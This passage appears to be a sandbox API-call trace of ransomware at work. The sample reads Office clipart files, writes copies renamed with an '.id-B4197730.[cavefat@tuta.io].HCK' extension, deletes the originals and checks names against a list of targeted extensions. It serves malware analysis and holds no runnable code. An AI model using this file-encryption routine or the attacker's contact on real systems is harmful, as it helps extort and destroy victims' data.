WriteFile (in: hFile=0x330, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0168.681] SetEndOfFile (hFile=0x330) returned 1 [0168.683] CloseHandle (hObject=0x330) returned 1 [0168.685] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.686] SetEndOfFile (hFile=0x378) returned 1 [0168.689] CloseHandle (hObject=0x378) returned 1 [0168.689] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0168.689] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152558.wmf")) returned 1 [0168.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0168.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0168.691] lstrlenW (lpString=".doc") returned 4 [0168.691] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.691] lstrlenW (lpString=".docx") returned 5 [0168.691] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0168.691] lstrlenW (lpString=".pdf") returned 4 [0168.691] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.691] lstrlenW (lpString=".xls") returned 4 [0168.691] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.691] lstrlenW (lpString=".xlsx") returned 5 [0168.691] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0168.691] lstrlenW (lpString=".ppt") returned 4 [0168.691] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0168.691] lstrlenW (lpString=".zip") returned 4 [0168.691] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.691] lstrlenW (lpString=".rar") returned 4 [0168.691] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.691] lstrlenW (lpString=".bz2") returned 4 [0168.691] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.691] lstrlenW (lpString=".7z") returned 3 [0168.691] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0168.691] lstrlenW (lpString=".dbf") returned 4 [0168.691] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0168.691] lstrlenW (lpString=".1cd") returned 4 [0168.691] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0168.691] lstrlenW (lpString=".jpg") returned 4 [0168.691] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0168.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0168.691] lstrlenW (lpString=".doc") returned 4 [0168.691] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.691] lstrlenW (lpString=".docx") returned 5 [0168.691] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0168.691] lstrlenW (lpString=".pdf") returned 4 [0168.691] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.691] lstrlenW (lpString=".xls") returned 4 [0168.691] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.691] lstrlenW (lpString=".xlsx") returned 5 [0168.691] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0168.691] lstrlenW (lpString=".ppt") returned 4 [0168.692] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0168.692] lstrlenW (lpString=".zip") returned 4 [0168.692] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.692] lstrlenW (lpString=".rar") returned 4 [0168.692] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.692] lstrlenW (lpString=".bz2") returned 4 [0168.692] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.692] lstrlenW (lpString=".7z") returned 3 [0168.692] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0168.692] lstrlenW (lpString=".dbf") returned 4 [0168.692] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0168.692] lstrlenW (lpString=".1cd") returned 4 [0168.692] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0168.692] lstrlenW (lpString=".jpg") returned 4 [0168.692] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.692] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0168.692] lstrlenW (lpString="J0152590.WMF") returned 12 [0168.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152590.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0168.696] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=10932) returned 1 [0168.696] CloseHandle (hObject=0x2ec) returned 1 [0168.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152590.wmf")) returned 0x220 [0168.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152590.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152590.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0168.707] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.707] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152590.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0168.713] GetLastError () returned 0x0 [0168.713] ReadFile (in: hFile=0x3ac, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x2ab4, lpOverlapped=0x0) returned 1 [0168.716] WriteFile (in: hFile=0x360, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x2ac0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2ac0, lpOverlapped=0x0) returned 1 [0168.717] ReadFile (in: hFile=0x3ac, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0168.717] WriteFile (in: hFile=0x360, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0168.717] SetEndOfFile (hFile=0x360) returned 1 [0168.723] CloseHandle (hObject=0x360) returned 1 [0168.725] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.725] SetEndOfFile (hFile=0x3ac) returned 1 [0168.728] CloseHandle (hObject=0x3ac) returned 1 [0168.735] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0168.735] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152590.wmf")) returned 1 [0168.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0168.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0168.738] lstrlenW (lpString=".doc") returned 4 [0168.738] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.738] lstrlenW (lpString=".docx") returned 5 [0168.738] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0168.738] lstrlenW (lpString=".pdf") returned 4 [0168.738] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.738] lstrlenW (lpString=".xls") returned 4 [0168.738] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.738] lstrlenW (lpString=".xlsx") returned 5 [0168.738] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0168.738] lstrlenW (lpString=".ppt") returned 4 [0168.738] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0168.738] lstrlenW (lpString=".zip") returned 4 [0168.738] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.738] lstrlenW (lpString=".rar") returned 4 [0168.738] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.738] lstrlenW (lpString=".bz2") returned 4 [0168.738] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.738] lstrlenW (lpString=".7z") returned 3 [0168.738] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0168.738] lstrlenW (lpString=".dbf") returned 4 [0168.738] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0168.738] lstrlenW (lpString=".1cd") returned 4 [0168.739] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0168.739] lstrlenW (lpString=".jpg") returned 4 [0168.739] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0168.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0168.739] lstrlenW (lpString=".doc") returned 4 [0168.739] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.739] lstrlenW (lpString=".docx") returned 5 [0168.739] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0168.739] lstrlenW (lpString=".pdf") returned 4 [0168.739] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.739] lstrlenW (lpString=".xls") returned 4 [0168.739] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.739] lstrlenW (lpString=".xlsx") returned 5 [0168.739] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0168.739] lstrlenW (lpString=".ppt") returned 4 [0168.739] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0168.739] lstrlenW (lpString=".zip") returned 4 [0168.739] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.739] lstrlenW (lpString=".rar") returned 4 [0168.739] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.739] lstrlenW (lpString=".bz2") returned 4 [0168.739] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.739] lstrlenW (lpString=".7z") returned 3 [0168.739] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0168.739] lstrlenW (lpString=".dbf") returned 4 [0168.739] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0168.739] lstrlenW (lpString=".1cd") returned 4 [0168.739] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0168.739] lstrlenW (lpString=".jpg") returned 4 [0168.739] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.739] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0168.739] lstrlenW (lpString="J0152606.WMF") returned 12 [0168.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152606.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0168.744] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=16632) returned 1 [0168.744] CloseHandle (hObject=0x308) returned 1 [0168.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152606.wmf")) returned 0x220 [0168.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152606.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152606.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0168.757] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.757] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152606.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0168.766] GetLastError () returned 0x0 [0168.766] ReadFile (in: hFile=0x3ac, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x40f8, lpOverlapped=0x0) returned 1 [0168.770] WriteFile (in: hFile=0x398, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x4100, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x4100, lpOverlapped=0x0) returned 1 [0168.771] ReadFile (in: hFile=0x3ac, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0168.771] WriteFile (in: hFile=0x398, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0168.771] SetEndOfFile (hFile=0x398) returned 1 [0168.777] CloseHandle (hObject=0x398) returned 1 [0168.778] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.778] SetEndOfFile (hFile=0x3ac) returned 1 [0168.782] CloseHandle (hObject=0x3ac) returned 1 [0168.782] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0168.782] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152606.wmf")) returned 1 [0168.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0168.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0168.786] lstrlenW (lpString=".doc") returned 4 [0168.786] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.786] lstrlenW (lpString=".docx") returned 5 [0168.786] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0168.786] lstrlenW (lpString=".pdf") returned 4 [0168.786] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.787] lstrlenW (lpString=".xls") returned 4 [0168.787] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.787] lstrlenW (lpString=".xlsx") returned 5 [0168.787] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0168.787] lstrlenW (lpString=".ppt") returned 4 [0168.787] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0168.787] lstrlenW (lpString=".zip") returned 4 [0168.787] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.787] lstrlenW (lpString=".rar") returned 4 [0168.787] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.787] lstrlenW (lpString=".bz2") returned 4 [0168.787] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.787] lstrlenW (lpString=".7z") returned 3 [0168.787] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0168.787] lstrlenW (lpString=".dbf") returned 4 [0168.787] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0168.787] lstrlenW (lpString=".1cd") returned 4 [0168.787] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0168.787] lstrlenW (lpString=".jpg") returned 4 [0168.787] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0168.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0168.787] lstrlenW (lpString=".doc") returned 4 [0168.787] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.787] lstrlenW (lpString=".docx") returned 5 [0168.787] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0168.787] lstrlenW (lpString=".pdf") returned 4 [0168.787] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.787] lstrlenW (lpString=".xls") returned 4 [0168.787] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.787] lstrlenW (lpString=".xlsx") returned 5 [0168.787] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0168.787] lstrlenW (lpString=".ppt") returned 4 [0168.787] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0168.787] lstrlenW (lpString=".zip") returned 4 [0168.787] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.787] lstrlenW (lpString=".rar") returned 4 [0168.787] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.788] lstrlenW (lpString=".bz2") returned 4 [0168.788] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.788] lstrlenW (lpString=".7z") returned 3 [0168.788] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0168.788] lstrlenW (lpString=".dbf") returned 4 [0168.788] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0168.788] lstrlenW (lpString=".1cd") returned 4 [0168.788] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0168.788] lstrlenW (lpString=".jpg") returned 4 [0168.788] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.788] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0168.788] lstrlenW (lpString="J0152626.WMF") returned 12 [0168.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152626.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0168.797] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=26248) returned 1 [0168.797] CloseHandle (hObject=0x398) returned 1 [0168.797] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152626.wmf")) returned 0x220 [0168.800] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152626.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152626.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0168.808] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.808] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152626.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0168.812] GetLastError () returned 0x0 [0168.812] ReadFile (in: hFile=0x388, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x6688, lpOverlapped=0x0) returned 1 [0168.813] WriteFile (in: hFile=0x3ac, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x6690, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x6690, lpOverlapped=0x0) returned 1 [0168.814] ReadFile (in: hFile=0x388, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0168.814] WriteFile (in: hFile=0x3ac, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0168.814] SetEndOfFile (hFile=0x3ac) returned 1 [0168.817] CloseHandle (hObject=0x3ac) returned 1 [0168.819] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, 